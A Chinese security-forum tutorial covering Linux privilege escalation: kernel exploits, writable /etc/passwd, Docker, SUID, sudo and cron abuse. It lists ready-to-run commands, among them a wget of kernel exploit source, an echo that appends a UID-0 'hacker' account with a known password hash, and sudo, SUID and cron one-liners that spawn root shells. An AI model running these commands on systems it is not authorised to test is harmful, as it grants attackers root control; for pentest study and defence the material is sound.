首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
WEB安全
发新帖
2
3
[原创]Linux提权具体方法
发表于: 2025-5-8 11:18
8370
[原创]Linux提权具体方法
_Poseidon
2025-5-8 11:18
8370
#### Linux提权具体方法 ###### 前言 在实际的渗透测试或权限维持过程中,提权往往是关键的一步。通过提权,攻击者可以从一个受限的低权限账户升级为高权限用户,从而获取更大的操作权限,进一步控制系统或窃取敏感信息。提权方式多种多样,涵盖了系统配置漏洞、程序权限设置错误、服务漏洞利用等多个方面。 本文将重点介绍几种常见且实用的提权方式,包括**内核漏洞提权**、**/etc/passwd 提权**、**Docker 提权**、**定时任务提权**、**SUID 提权**以及**Sudo 提权**等。每种方法都将配合实际示例进行讲解,帮助读者更清晰地理解其利用思路与操作流程。 如果你尚不熟悉提权的基本原理与前期信息收集工作,可参考这篇文章了解相关基础内容:<a href="elink@2cdK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8X3@1I4x3e0f1@1y4U0p5&6y4e0M7K6i4K6u0r3j5i4u0@1K9h3y4D9k6g2)9J5c8X3c8W2N6r3q4A6L8s2y4Q4x3V1j5I4y4o6M7K6y4K6t1%4z5e0V1`.">点此查看</a>。 #### 内核提权 ##### 概述 内核漏洞提权是利用 Linux 系统内核中存在的已知安全漏洞,获取 root 权限的一种高效提权方式。由于 Linux 是开源系统,长期以来被广泛研究,暴露出大量内核漏洞。提权过程通常包括三步:收集目标系统的内核版本信息,查找与之对应的可利用漏洞及 EXP,最后执行 EXP 实现权限提升。该方法适用于权限受限的普通用户,提权成功率高,但也可能导致系统不稳定或崩溃,因此在实际操作中需谨慎使用。 ##### EXP项目地址 1. <mark class="encrypted">bafK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6T1k6h3I4S2L8X3g2Q4x3V1k6D9K9h3&6#2P5q4)9J5k6s2y4G2k6Y4c8Q4x3X3c8W2P5s2m8D9L8$3W2@1i4K6u0V1M7%4g2Y4k6$3g2K6N6r3g2J5</mark> 2. <mark class="encrypted">8e7K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6B7L8$3&6V1L8$3&6S2M7#2)9J5c8X3I4A6L8Y4g2^5i4K6u0V1k6i4S2H3L8r3!0A6N6q4)9J5k6s2y4#2k6$3N6W2M7%4c8W2M7W2)9J5k6o6t1`.</mark> 3. <mark class="encrypted">f31K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6b7k6h3&6@1N6i4u0S2e0r3q4T1M7#2)9J5c8V1I4A6L8Y4g2^5i4K6g2X3c8i4S2H3L8r3!0A6N6q4)9#2k6W2y4#2k6$3N6W2M7%4c8W2M7R3`.`.</mark> 4. <mark class="encrypted">90fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0P5X3g2@1i4K6u0V1i4K6u0r3L8r3W2F1N6i4S2Q4x3X3c8W2P5s2m8D9L8$3W2@1i4K6u0V1M7%4g2Y4k6$3g2K6N6r3g2J5</mark> 在本次演示中,我们将采用 **第四个项目** 。该工具能够根据目标系统的内核版本,快速分析并推荐可用的本地提权漏洞,帮助渗透测试人员识别潜在的提权机会。它是一个高效的漏洞建议工具,适用于漏洞评估和漏洞利用的准备工作。 ##### 利用过程 运行脚本会获得系统信息,然后提供可以利用的脚本地址。  **Highly probable**: 评估的内核很可能受到影响,并且 PoC 漏洞利用很可能可以直接使用,无需重大修改。 **Probable**: 利用可能有效,但很可能需要定制 PoC 漏洞利用以适应你的目标。 **Less probable**: 需要额外的手动分析来验证内核是否受到影响。 **Unprobable**: 内核受到影响的可能性极低(该漏洞在工具的输出中未显示)。 下载命令 ```sh wget https://www.openwall.com/lists/oss-security/2022/08/29/5/1 -O exploit.c ``` 然后根据漏洞情况编译运行就可以了。 #### /etc/passwd提权 ##### 概述 当系统错误地将 `/etc/passwd` 设置为可写时,攻击者可以向其中添加一个伪造的 root 用户(UID 为 0)。通过这个账号登录后,就能直接获取系统最高权限。该方法简单有效,常见于配置不当的系统或靶机环境中。 ##### 利用特征 运行信息收集<a href="elink@1f4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6J5k6h3u0G2L8%4c8#2M7$3g2J5i4K6u0r3e0r3W2F1c8h3&6#2L8b7`.`.">工具</a>后,发现系统给出了明确的提权提示(工具详情在前言提到的文章里面有)。  普通用户检查 `/etc/passwd` 文件权限时,发现该文件对当前用户具有写权限,为后续的提权操作提供了可行入口。具体各个字段代表的信息同样可以参考前言部分的文章。  下面这张图是没有写权限的  ##### 利用过程 ###### 生成伪造 root 账号密码串 使用 `openssl` 或 `python` 生成一个加密密码,例如密码为 `123456` ```sh openssl passwd -1 123456 ```  多种方式生成加密密码。 ```sh # 使用 mkpasswd 生成 SHA-512 哈希值 mkpasswd -m SHA-512 123456 # 使用 Python 中的 crypt 库生成哈希值 python -c 'import crypt; print crypt.crypt("123456", "$6$salt")' # 使用 Perl 和 crypt 生成哈希值 perl -le 'print crypt("123456", "abc")' # 使用 PHP 生成哈希值 php -r "print(crypt('123456','123') . ' ');" ``` ###### 构造账号条目 例如添加一个名为 `hacker` 的 root 用户 ```sh hacker:$1$gsScV.jb$NaQjGTtNccPyBYkFQYNad0:0:0:root:/root:/bin/bash ``` ###### 追加到 `/etc/passwd` 文件中 使用普通用户直接写入 ```sh echo 'hacker:$1$gsScV.jb$NaQjGTtNccPyBYkFQYNad0:0:0:root:/root:/bin/bash' >> /etc/passwd ``` ###### 切换到新账号 ```sh su hacker ``` #### Docker提权 ##### 概述 Docker 提权是指通过容器配置漏洞或不当设置,突破容器的隔离限制,从而获得宿主机的 root 权限。常见的提权方式包括利用 `--privileged` 标志、挂载宿主机目录、以及内核漏洞等。攻击者可以通过这些漏洞突破容器的安全限制,实现从容器内提权至宿主机。 由于 Docker 提权方式繁多,这里主要关注两种常见的风险:特权容器和挂载宿主机目录的容器。后续将发布更详细的 Docker 提权文章,进一步探讨更多的提权方法。 ##### 利用特征 使用`docker ps -a`可以查看container_id  ###### 特权容器 容器如果以 `--privileged` 标志运行,将获得宿主机的几乎所有权限,可能导致提权风险。可以通过以下命令检查容器是否以特权模式运行: ```sh docker inspect --format '{{.HostConfig.Privileged}}' <container_id> ``` ###### 挂载宿主机目录的容器 如果容器挂载了宿主机的敏感目录(如 `/etc`、`/root` 等),容器中的恶意用户可以直接访问这些目录,从而提升权限。可以通过以下命令查看容器的挂载信息: ```sh docker inspect --format '{{json .Mounts}}' <container_id> ``` ##### 利用过程 ###### 特权容器 如果容器以特权模式运行,容器内的用户将获得几乎与宿主机相同的权限。这意味着容器内的用户能够执行与宿主机相关的操作,甚至修改宿主机的文件系统,带来较高的提权风险。 ###### 挂载宿主机目录的容器 当容器挂载了宿主机的敏感目录(如 `/etc`、`/root` 等),容器内的恶意用户可以修改这些目录中的关键文件。特别地,容器中的用户可以通过修改 `/etc/passwd` 等文件实现提权操作,具体方法可以参考**/etc/passwd提权**部分。 #### SUID提权 ##### 概述 SUID(Set User ID)是文件权限的一种设置,当一个文件具有 SUID 权限时,执行该文件的用户将临时获得该文件拥有者的权限,通常是 root 权限。这种权限主要用于允许普通用户执行某些高权限的操作,例如访问或修改系统资源。然而,若某些二进制文件或实用程序错误地设置了 SUID 权限,攻击者便可以利用这些文件提升权限,从而获得 root 权限,造成安全风险。因此,正确管理和审查 SUID 权限的文件对于系统安全至关重要。 ##### 查找root权限的SUID文件 使用信息收集工具的提示。  查找是否有**以 root 身份执行**的二进制程序(即拥有 SUID 且属主为 root),攻击者可以借助这些程序尝试“越权”执行某些操作,从而**提升自身权限** ```sh find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; ``` ##### 高危 SUID 程序 以下是一些具有 SUID 权限时常被用于提权的高危可执行文件,这些程序多数收录在 GTFOBins 中,通常可以直接利用提权: `/usr/bin/find`:利用 -exec 参数执行任意命令,例如 find . -exec /bin/sh ; 即可提权 `/usr/bin/vim` 或 `vi`:通过命令模式 :!sh 拿到 root shell `/usr/bin/python` 或 `python3`:使用 os.system("/bin/sh") 或 subprocess 模块执行命令 `/usr/bin/perl`:使用 system("/bin/sh") 拿 shell `/usr/bin/env`:可用 env /bin/sh 方式执行 shell `/usr/bin/bash`:如果带有 SUID,可直接提权执行 /bin/bash -p ##### 利用方式 如果通过上面的方法发现了系统中的敏感 SUID 程序,可以查阅相关命令或脚本实现提权操作。除此之外,还可以直接使用一些自动化工具来简化流程。 AutoSUID 是一个开源项目,其主要目标是自动化地收集系统中的 SUID 可执行文件,并尝试查找可用的提权方式。该工具实现了全流程的 100% 自动化,有效提高了提权的效率与成功率。 <a href="elink@969K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6u0N6X3q4F1c8$3I4A6L8X3E0A6L8W2)9J5c8V1q4#2N6r3!0e0g2f1W2p5i4K6u0r3">GitHub地址</a> #### Sudo提权 ##### 概述 在 Linux 系统中,`sudo` 命令用于让普通用户以其他用户(通常是 root)的身份执行命令。正常情况下,执行 `sudo` 需要输入用户自己的密码,但为了运维方便,管理员可能会在 `sudoers` 文件中配置某些用户或命令为无需密码(NOPASSWD)即可执行。如果这些配置不当,攻击者可能利用它们执行高权限命令,从而实现本地提权,因此 sudo 配置错误常常是提权的关键入口之一。 ##### 利用特征 通过信息收集工具可以快速扫描系统中存在的 SUID 程序和 sudo 权限配置。一旦发现存在已知的提权方式,工具通常会直接给出利用建议,例如:  手工测试结果  在正常环境中,系统可能存在多种语言设置,直接手工测试有助于我们理解提权原理和验证工具提示的准确性。不过在实际渗透过程中,面对复杂多变的系统配置,还是建议优先使用信息收集工具,它们可以快速、全面地识别潜在的提权点,大大提升效率和成功率。 ##### 提权命令 具体使用哪个命令进行提权,需要参考信息收集工具的扫描结果。根据扫描结果,若发现用户可以通过 `sudo` 执行 Python,通常可以使用以下命令: ```sh sudo python -c 'import os; os.system("/bin/bash")' ``` ###### 其他命令 ```sh sudo /bin/bash # 使用 sudo 启动一个新的 Bash shell。若 sudo 配置允许执行该命令,用户便能获取 root 权限并进入 shell。 sudo /bin/sh # 与 sudo /bin/bash 类似,使用 sudo 启动一个新的 sh shell。常用于一些环境下无法使用 Bash,但仍能通过其他 shell 提权的情况。 sudo python -c 'import os; os.system("/bin/bash")' # 通过 Python 的 os.system() 方法执行命令。该命令在 Python 中执行 bash,从而获得一个新的 shell 以提权。 sudo perl -e 'exec "/bin/bash"' # 利用 Perl 语言中的 exec 函数直接执行 /bin/bash,从而获得 root 权限下的 Bash shell。 sudo vim -c '!sh' # 使用 vim 编辑器执行命令 !sh 启动一个新的 shell。vim 的 -c 参数用于在启动时执行 Vim 命令,这里使用它来启动 sh shell。 sudo vi -c '!sh' # 与 sudo vim -c '!sh' 类似,利用 vi 编辑器的 -c 参数执行命令 !sh,从而获得一个新的 shell。 sudo find / -exec /bin/bash \; # 使用 find 命令遍历系统文件,并通过 -exec 参数执行 /bin/bash。如果 sudo 配置允许执行该命令,就会启动一个 Bash shell。 sudo awk 'BEGIN {system("/bin/sh")}' # 使用 awk 命令执行系统命令。这里通过 BEGIN 动作直接执行 sh,启动一个新的 shell。 ``` #### 定时任务提权 ##### 概述 定时任务(cron job)是 Linux 系统中用于定期执行任务的工具,允许系统在指定时间间隔内自动运行命令或脚本。由于 cron 通常以 root 权限执行,如果攻击者能够修改 cron 配置文件或其执行的脚本或二进制文件,就可以利用 root 权限执行任意代码,从而实现提权。攻击者通过获取对定时任务的控制,能够在系统中以 root 权限运行恶意代码,造成严重的安全威胁。因此,定时任务的安全配置和监控在系统管理中至关重要。 ##### 利用特征 前期信息搜集工具发现定时任务里面有test.py的文件  手工查看定时任务的命令`vim /etc/crontab` 查看test.py文件权限,发现任何用户都可写(具体判断方法可以参考前言提到的文章)。  ##### 提权命令 ```sh #!/bin/bash # 使用 Shell 脚本启动一个新的 bash shell 提权 /bin/bash #!/usr/bin/python # 使用 Python 的 os.system 方法执行命令,启动 bash 提权 import os # 执行 /bin/bash 提权命令 os.system("/bin/bash") #!/usr/bin/perl # 使用 Perl 的 exec 方法执行 bash 提权 exec("/bin/bash"); #!/usr/bin/ruby # 使用 Ruby 的 exec 方法执行 bash 提权 exec("/bin/bash") #!/usr/bin/lua -- 使用 Lua 的 os.execute 方法执行 bash 提权 os.execute("/bin/bash") ```
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#其他
收藏
・
2
点赞
・
3
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
谢谢你的细致分析,受益匪浅!
2026-7-16 08:11
東陽不列山
感谢你的贡献,论坛因你而更加精彩!
2025-12-9 04:12
Ally Switch
感谢你的积极参与,期待更多精彩内容!
2025-5-21 11:31
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
3
)
Editor
雪 币:
31006
活跃值:
(69984)
能力值:
(RANK:145 )
在线值:
发帖
2681
回帖
5467
粉丝
2655
关注
私信
Editor
2
楼
是AI写的?还是自己写的?
2025-5-8 18:10
0
_Poseidon
雪 币:
250
活跃值:
(20)
能力值:
( LV2,RANK:10 )
在线值:
发帖
5
回帖
6
粉丝
3
关注
私信
_Poseidon
3
楼
自己写的呀
2025-5-8 18:51
0
git_19959suofuren-debug
雪 币:
7
能力值:
( LV1,RANK:0 )
在线值:
发帖
1
回帖
8
粉丝
0
关注
私信
git_19959suofuren-debug
4
楼
能接单不哈哈
2026-3-6 15:44
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
_Poseidon
5
发帖
6
回帖
10
RANK
关注
私信
他的文章
[原创]Linux入侵排查
2421
[原创]Linux权限控制
2150
[原创]Linux提权具体方法
8370
Fastjson 漏洞复现
1982
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部